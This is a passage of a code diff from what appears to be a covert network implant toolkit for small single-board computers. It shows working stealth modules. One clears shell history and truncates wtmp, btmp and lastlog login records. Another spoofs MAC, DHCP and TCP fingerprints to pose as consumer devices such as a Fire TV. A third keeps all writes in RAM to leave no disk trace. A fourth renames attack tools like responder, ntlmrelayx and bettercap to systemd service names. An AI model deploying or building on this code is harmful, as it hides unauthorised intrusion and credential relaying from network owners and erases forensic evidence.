except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||
logger.warning("Failed to install journald config: %s", exc)
|
||||
|
||||
def _remove_journald_config(self) -> None:
|
||||
"""Remove journald config override."""
|
||||
try:
|
||||
if os.path.isfile(JOURNALD_CONF):
|
||||
os.unlink(JOURNALD_CONF)
|
||||
subprocess.run(
|
||||
["systemctl", "restart", "systemd-journald"],
|
||||
capture_output=True, timeout=10,
|
||||
)
|
||||
self._installed["journald"] = False
|
||||
logger.debug("journald config removed")
|
||||
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||
pass
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Shell history
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clear_history(self) -> None:
|
||||
"""Clear bash history and prevent future recording."""
|
||||
try:
|
||||
os.environ["HISTFILE"] = "/dev/null"
|
||||
os.environ["HISTSIZE"] = "0"
|
||||
os.environ["HISTFILESIZE"] = "0"
|
||||
|
||||
# Clear existing history files
|
||||
history_files = [
|
||||
os.path.expanduser("~/.bash_history"),
|
||||
"/root/.bash_history",
|
||||
os.path.expanduser("~/.zsh_history"),
|
||||
"/root/.zsh_history",
|
||||
]
|
||||
for hf in history_files:
|
||||
try:
|
||||
if os.path.isfile(hf):
|
||||
with open(hf, "w") as f:
|
||||
f.truncate(0)
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
self._installed["history"] = True
|
||||
logger.debug("Shell history cleared and disabled")
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to clear history: %s", exc)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Login records (utmp/wtmp/btmp)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _clear_login_records(self) -> None:
|
||||
"""Clear utmp/wtmp/btmp entries that could reveal SystemMonitor sessions."""
|
||||
record_files = [
|
||||
"/var/run/utmp",
|
||||
"/var/log/wtmp",
|
||||
"/var/log/btmp",
|
||||
"/var/log/lastlog",
|
||||
]
|
||||
cleared = False
|
||||
for rf in record_files:
|
||||
try:
|
||||
if os.path.isfile(rf):
|
||||
# Truncate rather than delete to preserve file ownership/perms
|
||||
with open(rf, "r+b") as f:
|
||||
f.truncate(0)
|
||||
cleared = True
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
|
||||
if cleared:
|
||||
self._installed["utmp"] = True
|
||||
logger.debug("Login records cleared (utmp/wtmp/btmp)")
|
||||
@@ -0,0 +1,380 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Innocuous MAC profile manager — select and apply a believable device identity.
|
||||
|
||||
Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone,
|
||||
printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to
|
||||
match the selected device. The goal: look like something that belongs on every
|
||||
network.
|
||||
"""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import os
|
||||
import random
|
||||
import socket
|
||||
import sqlite3
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.networking import (
|
||||
get_mac,
|
||||
detect_interface_with_retry,
|
||||
get_wifi_interfaces,
|
||||
set_mac,
|
||||
)
|
||||
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Category preferences per network type
|
||||
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
|
||||
_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming")
|
||||
_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones")
|
||||
|
||||
# Map config shorthand to DB device_type values
|
||||
_CATEGORY_MAP = {
|
||||
"streaming": ("smart_tv", "streaming"),
|
||||
"phones": ("phone", "tablet"),
|
||||
"smart_home": ("smart_speaker", "iot"),
|
||||
"printers": ("printer",),
|
||||
"gaming": ("gaming",),
|
||||
"network": ("printer", "iot"),
|
||||
}
|
||||
|
||||
|
||||
class MacManager(BaseModule):
|
||||
"""Select and apply a consumer-device MAC profile for network blending."""
|
||||
|
||||
name = "mac_manager"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._profile: Optional[dict] = None
|
||||
self._eth_iface: Optional[str] = None
|
||||
self._wifi_iface: Optional[str] = None
|
||||
self._original_eth_mac: Optional[str] = None
|
||||
self._original_wifi_mac: Optional[str] = None
|
||||
self._original_hostname: Optional[str] = None
|
||||
self._db_path = self._resolve_db_path()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
self._eth_iface = self.config.get("network", {}).get(
|
||||
"primary_interface", "auto"
|
||||
)
|
||||
if self._eth_iface == "auto":
|
||||
self._eth_iface = detect_interface_with_retry(
|
||||
max_retries=3,
|
||||
retry_delay=5,
|
||||
exponential=True,
|
||||
config_interface=None
|
||||
)
|
||||
|
||||
wifi_ifaces = get_wifi_interfaces()
|
||||
wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0")
|
||||
self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None)
|
||||
|
||||
# Save originals for restore on stop
|
||||
if self._eth_iface:
|
||||
try:
|
||||
self._original_eth_mac = get_mac(self._eth_iface)
|
||||
except Exception:
|
||||
pass
|
||||
if self._wifi_iface:
|
||||
try:
|
||||
self._original_wifi_mac = get_mac(self._wifi_iface)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._original_hostname = socket.gethostname()
|
||||
|
||||
# Select and apply profile
|
||||
self._profile = self._select_profile()
|
||||
if self._profile is None:
|
||||
logger.warning("No MAC profile found — using random consumer OUI fallback")
|
||||
self._profile = self._fallback_profile()
|
||||
|
||||
self._apply_profile(self._profile)
|
||||
|
||||
# Persist for other modules
|
||||
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
|
||||
logger.info(
|
||||
"MAC profile applied: %s (%s) — MAC %s, hostname %s",
|
||||
self._profile.get("device_name", "unknown"),
|
||||
self._profile.get("vendor", "unknown"),
|
||||
self._profile.get("applied_mac", "?"),
|
||||
self._profile.get("dhcp_hostname", "?"),
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
# Restore original MACs on clean exit — skip WiFi interfaces to avoid
|
||||
# dropping the active association.
|
||||
wifi_ifaces = set(get_wifi_interfaces())
|
||||
try:
|
||||
if self._eth_iface and self._original_eth_mac and self._eth_iface not in wifi_ifaces:
|
||||
set_mac(self._eth_iface, self._original_eth_mac)
|
||||
if (self._wifi_iface and self._original_wifi_mac
|
||||
and self._wifi_iface != self._eth_iface
|
||||
and self._wifi_iface not in wifi_ifaces):
|
||||
set_mac(self._wifi_iface, self._original_wifi_mac)
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to restore original MAC: %s", exc)
|
||||
|
||||
self._cleanup_dhclient_conf()
|
||||
|
||||
if self._original_hostname:
|
||||
try:
|
||||
import subprocess
|
||||
subprocess.run(
|
||||
["hostnamectl", "set-hostname", self._original_hostname],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
logger.debug("Hostname restored to %s", self._original_hostname)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("MacManager stopped — original MACs restored")
|
||||
|
||||
def status(self) -> dict:
|
||||
base = {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
}
|
||||
if self._profile:
|
||||
base["profile_name"] = self._profile.get("device_name", "unknown")
|
||||
base["applied_mac"] = self._profile.get("applied_mac", "unknown")
|
||||
base["dhcp_hostname"] = self._profile.get("dhcp_hostname", "unknown")
|
||||
if self._profile.get("applied_hostname"):
|
||||
base["applied_hostname"] = self._profile["applied_hostname"]
|
||||
if self._eth_iface:
|
||||
try:
|
||||
base["current_eth_mac"] = get_mac(self._eth_iface)
|
||||
except Exception:
|
||||
base["current_eth_mac"] = "error"
|
||||
return base
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
if self._running:
|
||||
# Re-select and apply on config change
|
||||
self._profile = self._select_profile()
|
||||
if self._profile:
|
||||
self._apply_profile(self._profile)
|
||||
self.state.set(self.name, "profile", json.dumps(self._profile))
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Profile selection
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _resolve_db_path(self) -> str:
|
||||
"""Locate innocuous_macs.db relative to project root."""
|
||||
candidates = [
|
||||
os.path.join(os.path.dirname(__file__), "..", "..", "data", "innocuous_macs.db"),
|
||||
"/opt/.cache/bb/data/innocuous_macs.db",
|
||||
]
|
||||
for p in candidates:
|
||||
resolved = os.path.realpath(p)
|
||||
if os.path.isfile(resolved):
|
||||
return resolved
|
||||
# Default — will be created/populated by setup
|
||||
return os.path.realpath(candidates[0])
|
||||
|
||||
def _select_profile(self) -> Optional[dict]:
|
||||
"""Select a MAC profile from the database based on config."""
|
||||
if not os.path.isfile(self._db_path):
|
||||
logger.warning("innocuous_macs.db not found at %s", self._db_path)
|
||||
return None
|
||||
|
||||
stealth_cfg = self.config.get("stealth", {})
|
||||
mac_profile = stealth_cfg.get("mac_profile", "auto")
|
||||
network_type = stealth_cfg.get("mac_network_type", "auto")
|
||||
|
||||
conn = sqlite3.connect(self._db_path)
|
||||
conn.row_factory = sqlite3.Row
|
||||
try:
|
||||
if mac_profile not in ("auto", None) and mac_profile not in _CATEGORY_MAP:
|
||||
# Specific device name requested
|
||||
row = conn.execute(
|
||||
"SELECT * FROM mac_profiles WHERE device_name = ? LIMIT 1",
|
||||
(mac_profile,),
|
||||
).fetchone()
|
||||
if row:
|
||||
return dict(row)
|
||||
|
||||
# Category-based selection
|
||||
if mac_profile == "auto" or mac_profile is None:
|
||||
categories = self._pick_categories(network_type)
|
||||
else:
|
||||
categories = _CATEGORY_MAP.get(mac_profile, _DEFAULT_CATEGORIES)
|
||||
|
||||
placeholders = ",".join("?" for _ in categories)
|
||||
rows = conn.execute(
|
||||
f"SELECT * FROM mac_profiles WHERE device_type IN ({placeholders})",
|
||||
categories,
|
||||
).fetchall()
|
||||
if rows:
|
||||
return dict(random.choice(rows))
|
||||
return None
|
||||
except sqlite3.OperationalError:
|
||||
logger.warning("mac_profiles table missing — DB not seeded, using fallback")
|
||||
return None
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
def _pick_categories(self, network_type: str) -> tuple:
|
||||
"""Choose device categories appropriate for the network type."""
|
||||
if network_type == "business":
|
||||
cat_keys = _BUSINESS_CATEGORIES
|
||||
elif network_type == "home":
|
||||
cat_keys = _HOME_CATEGORIES
|
||||
else:
|
||||
# Auto: default safe categories
|
||||
cat_keys = _DEFAULT_CATEGORIES
|
||||
|
||||
types = []
|
||||
for key in cat_keys:
|
||||
types.extend(_CATEGORY_MAP.get(key, ()))
|
||||
return tuple(types)
|
||||
|
||||
def _fallback_profile(self) -> dict:
|
||||
"""Generate a plausible fallback profile without the database."""
|
||||
# Amazon Fire TV Stick OUI
|
||||
oui = "FC:65:DE"
|
||||
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
return {
|
||||
"device_type": "streaming",
|
||||
"vendor": "Amazon",
|
||||
"device_name": "Fire TV Stick 4K",
|
||||
"oui": oui,
|
||||
"dhcp_hostname": "amazon-fire-tv",
|
||||
"dhcp_vendor_class": "amazon-fire-tv-stick",
|
||||
"ttl": 64,
|
||||
"tcp_window": 65535,
|
||||
}
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Apply profile to system
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _apply_profile(self, profile: dict) -> None:
|
||||
"""Set MAC, DHCP config, TCP stack to match the selected profile."""
|
||||
oui = profile.get("oui", "FC:65:DE")
|
||||
suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
new_mac = f"{oui}:{suffix}"
|
||||
profile["applied_mac"] = new_mac
|
||||
|
||||
wifi_ifaces = set(get_wifi_interfaces())
|
||||
|
||||
# Set MAC on Ethernet — skip if it's also a WiFi interface (changing MAC
|
||||
# on an associated WiFi interface drops the connection and causes ENETDOWN
|
||||
# on all AF_PACKET sockets bound to it).
|
||||
if self._eth_iface:
|
||||
if self._eth_iface in wifi_ifaces:
|
||||
logger.info(
|
||||
"Skipping MAC change on %s — active WiFi interface, would break association",
|
||||
self._eth_iface,
|
||||
)
|
||||
else:
|
||||
try:
|
||||
set_mac(self._eth_iface, new_mac)
|
||||
logger.debug("Set %s MAC to %s", self._eth_iface, new_mac)
|
||||
except Exception as exc:
|
||||
logger.error("Failed to set MAC on %s: %s", self._eth_iface, exc)
|
||||
|
||||
# Set MAC on WiFi only if it's a separate interface from the primary eth
|
||||
# (e.g., a dedicated monitor card). Same interface = already handled above.
|
||||
if self._wifi_iface and self._wifi_iface != self._eth_iface:
|
||||
wifi_suffix = ":".join(f"{random.randint(0, 255):02x}" for _ in range(3))
|
||||
wifi_mac = f"{oui}:{wifi_suffix}"
|
||||
try:
|
||||
set_mac(self._wifi_iface, wifi_mac)
|
||||
profile["applied_wifi_mac"] = wifi_mac
|
||||
logger.debug("Set %s MAC to %s", self._wifi_iface, wifi_mac)
|
||||
except Exception as exc:
|
||||
logger.error("Failed to set WiFi MAC on %s: %s", self._wifi_iface, exc)
|
||||
|
||||
# DHCP configuration
|
||||
self._write_dhclient_conf(profile)
|
||||
|
||||
# TCP stack tuning
|
||||
ttl = profile.get("ttl", 64)
|
||||
tcp_win = profile.get("tcp_window", 65535)
|
||||
set_ttl(ttl)
|
||||
set_tcp_window(tcp_win)
|
||||
set_tcp_timestamps(True) # Most consumer devices have timestamps enabled
|
||||
|
||||
logger.debug("TCP stack: TTL=%d, window=%d", ttl, tcp_win)
|
||||
|
||||
self._set_system_hostname(profile)
|
||||
|
||||
def _write_dhclient_conf(self, profile: dict) -> None:
|
||||
"""Write dhclient.conf with hostname + vendor class matching the profile."""
|
||||
hostname = profile.get("dhcp_hostname", "localhost")
|
||||
vendor_class = profile.get("dhcp_vendor_class", "")
|
||||
|
||||
conf_path = "/etc/dhcp/dhclient.conf.d"
|
||||
conf_file = os.path.join(conf_path, "bb-profile.conf")
|
||||
|
||||
try:
|
||||
os.makedirs(conf_path, exist_ok=True)
|
||||
lines = [
|
||||
f'send host-name "{hostname}";',
|
||||
]
|
||||
if vendor_class:
|
||||
lines.append(f'send vendor-class-identifier "{vendor_class}";')
|
||||
|
||||
with open(conf_file, "w") as f:
|
||||
f.write("\n".join(lines) + "\n")
|
||||
|
||||
logger.debug("Wrote DHCP config: hostname=%s, vendor=%s", hostname, vendor_class)
|
||||
except (IOError, PermissionError) as exc:
|
||||
logger.warning("Failed to write dhclient.conf: %s", exc)
|
||||
|
||||
def _set_system_hostname(self, profile: dict) -> None:
|
||||
"""Set system hostname to match the device profile for full fingerprint consistency."""
|
||||
import subprocess
|
||||
hostname = profile.get("dhcp_hostname", "")
|
||||
if not hostname:
|
||||
return
|
||||
suffix = "".join(f"{random.randint(0, 15):x}" for _ in range(4))
|
||||
new_hostname = f"{hostname}-{suffix}"
|
||||
try:
|
||||
subprocess.run(
|
||||
["hostnamectl", "set-hostname", new_hostname],
|
||||
check=True, capture_output=True,
|
||||
)
|
||||
profile["applied_hostname"] = new_hostname
|
||||
logger.info("System hostname set to %s", new_hostname)
|
||||
except Exception as exc:
|
||||
logger.warning("Failed to set hostname: %s", exc)
|
||||
|
||||
def _cleanup_dhclient_conf(self) -> None:
|
||||
"""Remove our DHCP config on clean exit."""
|
||||
conf_file = "/etc/dhcp/dhclient.conf.d/bb-profile.conf"
|
||||
try:
|
||||
if os.path.isfile(conf_file):
|
||||
os.unlink(conf_file)
|
||||
except (IOError, PermissionError):
|
||||
pass
|
||||
@@ -0,0 +1,269 @@
|
||||
#!/usr/bin/env python3
|
||||
"""OverlayFS manager: mount root filesystem as overlayfs with tmpfs upper layer
|
||||
so all writes go to RAM and vanish on reboot. Zero SD card write activity."""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import time
|
||||
from pathlib import Path
|
||||
from typing import Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.resource import get_hardware_tier, TIER_OPI_ZERO3, TIER_PI_ZERO, TIER_GENERIC
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Default overlay paths
|
||||
OVERLAY_BASE = "/opt/.cache/bb/overlay"
|
||||
OVERLAY_UPPER = os.path.join(OVERLAY_BASE, "upper")
|
||||
OVERLAY_WORK = os.path.join(OVERLAY_BASE, "work")
|
||||
OVERLAY_MERGED = os.path.join(OVERLAY_BASE, "merged")
|
||||
|
||||
# Size budgets per tier (MB)
|
||||
TIER_SIZE_BUDGETS = {
|
||||
TIER_OPI_ZERO3: 200,
|
||||
TIER_PI_ZERO: 30,
|
||||
TIER_GENERIC: None, # unlimited
|
||||
}
|
||||
|
||||
|
||||
class OverlayfsManager(BaseModule):
|
||||
"""Mount an overlayfs with read-only lower (real FS) and tmpfs upper (RAM).
|
||||
All writes go to tmpfs -- zero SD card activity. Writes vanish on reboot."""
|
||||
|
||||
name = "overlayfs_manager"
|
||||
module_type = "stealth"
|
||||
priority = -450
|
||||
requires_root = True
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._overlay_base = config.get("overlay_base", OVERLAY_BASE)
|
||||
self._upper_dir = config.get("overlay_upper", OVERLAY_UPPER)
|
||||
self._work_dir = config.get("overlay_work", OVERLAY_WORK)
|
||||
self._merged_dir = config.get("overlay_merged", OVERLAY_MERGED)
|
||||
self._lower_dir = config.get("overlay_lower", "/opt/.cache/bb")
|
||||
self._overlay_active = False
|
||||
self._tmpfs_mounted = False
|
||||
self._upper_limit_mb: Optional[int] = None
|
||||
self._tier = get_hardware_tier()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
self._running = True
|
||||
self._start_time = time.time()
|
||||
self._pid = os.getpid()
|
||||
|
||||
# Determine size budget from hardware tier
|
||||
self._upper_limit_mb = TIER_SIZE_BUDGETS.get(self._tier)
|
||||
if self._upper_limit_mb is None and self._tier not in TIER_SIZE_BUDGETS:
|
||||
# Unknown tier: default conservative
|
||||
self._upper_limit_mb = 200
|
||||
|
||||
# Create overlay structure
|
||||
if not self._setup_overlay():
|
||||
logger.error("OverlayFS setup failed")
|
||||
self.state.set_module_status(self.name, "error",
|
||||
extra={"reason": "setup_failed"})
|
||||
return
|
||||
|
||||
self.state.set_module_status(self.name, "running", pid=self._pid)
|
||||
self.bus.emit("MODULE_STARTED", {"module": self.name}, source_module=self.name)
|
||||
logger.info(
|
||||
"OverlayFS active — upper limit: %s MB, tier: %s",
|
||||
self._upper_limit_mb or "unlimited", self._tier,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
self._running = False
|
||||
self._teardown_overlay()
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
self.bus.emit("MODULE_STOPPED", {"module": self.name}, source_module=self.name)
|
||||
logger.info("OverlayFS stopped and unmounted")
|
||||
|
||||
def status(self) -> dict:
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"overlay_active": self._overlay_active,
|
||||
"tmpfs_mounted": self._tmpfs_mounted,
|
||||
"upper_usage_mb": self._get_upper_usage_mb(),
|
||||
"upper_limit_mb": self._upper_limit_mb,
|
||||
"tier": self._tier,
|
||||
"merged_dir": self._merged_dir,
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
if "overlay_lower" in config:
|
||||
self._lower_dir = config["overlay_lower"]
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public: overlay path helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@property
|
||||
def merged_path(self) -> str:
|
||||
"""Return the merged overlay mount point (use this as working directory)."""
|
||||
return self._merged_dir
|
||||
|
||||
def get_upper_usage_mb(self) -> float:
|
||||
"""Return current tmpfs upper layer usage in MB."""
|
||||
return self._get_upper_usage_mb()
|
||||
|
||||
def is_near_limit(self, threshold_pct: float = 85.0) -> bool:
|
||||
"""Check if upper layer usage is approaching the size budget."""
|
||||
if self._upper_limit_mb is None:
|
||||
return False
|
||||
usage = self._get_upper_usage_mb()
|
||||
return (usage / self._upper_limit_mb * 100) >= threshold_pct
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: setup and teardown
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _setup_overlay(self) -> bool:
|
||||
"""Create tmpfs mount and overlayfs mount."""
|
||||
try:
|
||||
# Create all directories
|
||||
for d in [self._overlay_base, self._upper_dir, self._work_dir, self._merged_dir]:
|
||||
os.makedirs(d, mode=0o700, exist_ok=True)
|
||||
|
||||
# Ensure lower directory exists
|
||||
os.makedirs(self._lower_dir, mode=0o700, exist_ok=True)
|
||||
|
||||
# Mount tmpfs on the overlay base with size limit
|
||||
if not self._is_mounted(self._overlay_base):
|
||||
size_opt = f"size={self._upper_limit_mb}m" if self._upper_limit_mb else "size=50%"
|
||||
result = subprocess.run(
|
||||
["mount", "-t", "tmpfs", "-o", f"{size_opt},mode=0700",
|
||||
"tmpfs", self._overlay_base],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
logger.error(
|
||||
"tmpfs mount failed: %s",
|
||||
result.stderr.decode(errors="replace"),
|
||||
)
|
||||
return False
|
||||
self._tmpfs_mounted = True
|
||||
# Recreate subdirectories on fresh tmpfs
|
||||
for d in [self._upper_dir, self._work_dir, self._merged_dir]:
|
||||
os.makedirs(d, mode=0o700, exist_ok=True)
|
||||
logger.info("tmpfs mounted at %s (%s)", self._overlay_base, size_opt)
|
||||
else:
|
||||
self._tmpfs_mounted = True
|
||||
|
||||
# Mount overlayfs
|
||||
if not self._is_mounted(self._merged_dir):
|
||||
mount_opts = (
|
||||
f"lowerdir={self._lower_dir},"
|
||||
f"upperdir={self._upper_dir},"
|
||||
f"workdir={self._work_dir}"
|
||||
)
|
||||
result = subprocess.run(
|
||||
["mount", "-t", "overlay", "overlay",
|
||||
"-o", mount_opts, self._merged_dir],
|
||||
capture_output=True, timeout=30,
|
||||
)
|
||||
if result.returncode != 0:
|
||||
stderr = result.stderr.decode(errors="replace")
|
||||
logger.error("overlayfs mount failed: %s", stderr)
|
||||
# Cleanup tmpfs if overlay fails
|
||||
self._unmount(self._overlay_base)
|
||||
self._tmpfs_mounted = False
|
||||
return False
|
||||
self._overlay_active = True
|
||||
logger.info("overlayfs mounted at %s", self._merged_dir)
|
||||
else:
|
||||
self._overlay_active = True
|
||||
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
logger.exception("Overlay setup failed")
|
||||
return False
|
||||
|
||||
def _teardown_overlay(self) -> None:
|
||||
"""Sync and unmount overlay, then tmpfs."""
|
||||
# Sync any pending writes
|
||||
try:
|
||||
subprocess.run(["sync"], timeout=10, capture_output=True)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
# Unmount overlay first
|
||||
if self._overlay_active:
|
||||
if self._unmount(self._merged_dir):
|
||||
self._overlay_active = False
|
||||
logger.info("overlayfs unmounted")
|
||||
|
||||
# Unmount tmpfs (all data in upper layer is destroyed)
|
||||
if self._tmpfs_mounted:
|
||||
if self._unmount(self._overlay_base):
|
||||
self._tmpfs_mounted = False
|
||||
logger.info("tmpfs unmounted — all overlay writes destroyed")
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: mount helpers
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _is_mounted(path: str) -> bool:
|
||||
"""Check if a path is a mount point."""
|
||||
try:
|
||||
with open("/proc/mounts", "r") as f:
|
||||
for line in f:
|
||||
parts = line.split()
|
||||
if len(parts) >= 2 and parts[1] == path:
|
||||
return True
|
||||
except IOError:
|
||||
pass
|
||||
return False
|
||||
|
||||
@staticmethod
|
||||
def _unmount(path: str, lazy: bool = False) -> bool:
|
||||
"""Unmount a filesystem. Uses lazy unmount as fallback."""
|
||||
try:
|
||||
cmd = ["umount", path]
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
|
||||
if not lazy:
|
||||
# Retry with lazy unmount
|
||||
cmd = ["umount", "-l", path]
|
||||
result = subprocess.run(cmd, capture_output=True, timeout=30)
|
||||
if result.returncode == 0:
|
||||
return True
|
||||
|
||||
logger.warning(
|
||||
"Failed to unmount %s: %s",
|
||||
path, result.stderr.decode(errors="replace"),
|
||||
)
|
||||
return False
|
||||
except Exception:
|
||||
logger.exception("Unmount failed: %s", path)
|
||||
return False
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Internal: usage tracking
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _get_upper_usage_mb(self) -> float:
|
||||
"""Get current size of the tmpfs upper layer in MB."""
|
||||
if not self._tmpfs_mounted:
|
||||
return 0.0
|
||||
try:
|
||||
stat = os.statvfs(self._overlay_base)
|
||||
total = stat.f_blocks * stat.f_frsize
|
||||
free = stat.f_bavail * stat.f_frsize
|
||||
used = total - free
|
||||
return used / (1024 * 1024)
|
||||
except OSError:
|
||||
return 0.0
|
||||
@@ -0,0 +1,179 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Process disguise module — rename all SystemMonitor processes to look like
|
||||
legitimate system services.
|
||||
|
||||
Reads process name mappings from stealth.yaml, renames own processes via
|
||||
prctl(PR_SET_NAME) and /proc/self/comm, and auto-disguises new module
|
||||
processes as they start.
|
||||
"""
|
||||
|
||||
import logging
|
||||
import os
|
||||
import time
|
||||
import threading
|
||||
from typing import Dict, Optional
|
||||
|
||||
from modules.base import BaseModule
|
||||
from utils.stealth import rename_process, spoof_cmdline
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class ProcessDisguise(BaseModule):
|
||||
"""Rename all managed processes to innocuous system service names."""
|
||||
|
||||
name = "process_disguise"
|
||||
module_type = "stealth"
|
||||
priority = -400
|
||||
requires_root = False
|
||||
|
||||
def __init__(self, bus, state, config, engine=None):
|
||||
super().__init__(bus, state, config, engine)
|
||||
self._name_map: Dict[str, str] = {} # original -> disguised
|
||||
self._disguised_pids: Dict[int, str] = {} # pid -> fake_name
|
||||
self._lock = threading.Lock()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# BaseModule interface
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def start(self) -> None:
|
||||
if self._running:
|
||||
return
|
||||
|
||||
# Load process name mappings from stealth.yaml config
|
||||
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||
self._name_map = stealth_cfg.get("process_names", {})
|
||||
if not self._name_map:
|
||||
# Fallback defaults matching stealth.yaml
|
||||
self._name_map = {
|
||||
"python3": "systemd-thermald",
|
||||
"bettercap": "networkd-dispatcher",
|
||||
"tcpdump": "systemd-netlogd",
|
||||
"responder": "systemd-resolved",
|
||||
"mitmproxy": "systemd-networkd",
|
||||
"ntlmrelayx": "systemd-logind",
|
||||
"hostapd": "wpa_supplicant",
|
||||
"dnsmasq": "systemd-resolved",
|
||||
}
|
||||
|
||||
# Disguise own process first
|
||||
own_fake = self._name_map.get("python3", "systemd-thermald")
|
||||
self._apply_disguise(os.getpid(), own_fake)
|
||||
|
||||
# Spoof /proc/self/cmdline
|
||||
spoof_cmdline(own_fake)
|
||||
|
||||
# Subscribe to bus events for auto-disguise
|
||||
self.bus.subscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.subscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = True
|
||||
self._pid = os.getpid()
|
||||
self._start_time = time.time()
|
||||
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||
|
||||
logger.info(
|
||||
"ProcessDisguise active — %d name mappings loaded, own PID %d -> %s",
|
||||
len(self._name_map), os.getpid(), own_fake,
|
||||
)
|
||||
|
||||
def stop(self) -> None:
|
||||
if not self._running:
|
||||
return
|
||||
|
||||
self.bus.unsubscribe(self._on_module_started, event_type="MODULE_STARTED")
|
||||
self.bus.unsubscribe(self._on_tool_restarted, event_type="TOOL_RESTARTED")
|
||||
|
||||
self._running = False
|
||||
self.state.set_module_status(self.name, "stopped")
|
||||
logger.info("ProcessDisguise stopped — %d PIDs were disguised", len(self._disguised_pids))
|
||||
|
||||
def status(self) -> dict:
|
||||
with self._lock:
|
||||
pids_snapshot = dict(self._disguised_pids)
|
||||
return {
|
||||
"running": self._running,
|
||||
"pid": self._pid,
|
||||
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||
"disguised_pids": pids_snapshot,
|
||||
"total_disguised": len(pids_snapshot),
|
||||
"name_mappings": len(self._name_map),
|
||||
}
|
||||
|
||||
def configure(self, config: dict) -> None:
|
||||
self.config.update(config)
|
||||
new_names = config.get("stealth_yaml", {}).get("process_names")
|
||||
if new_names:
|
||||
self._name_map.update(new_names)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Public API for other modules / tool_manager
|
